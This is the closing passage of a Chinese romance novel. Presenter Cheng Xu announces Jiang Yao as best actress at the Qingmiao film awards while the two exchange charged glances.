大屏幕上正轮流播放几部提名影片的片段，江遥的手心不禁冒出阵阵热汗，原本十分的紧张，因他的出现，更将紧绷的弦张满。心中鼓动的，或许更应称之为期待感。
惶惶然中，程绪打开了手上的手卡，目光如有实质，射向台下，“本届青苗奖的最佳女主角是——”
江遥忍不住自己望向他的目光，而正好，他的视线也正紧紧地攫住她。江遥感觉到自己的心跳，如雷鸣般，耳边瞬间只余“咚咚”的声响。
程绪嘴角蓦然浮起笑意，清淡的嗓音，碰撞出那曾念了千百次的姓名。
“江遥。”
（正文完）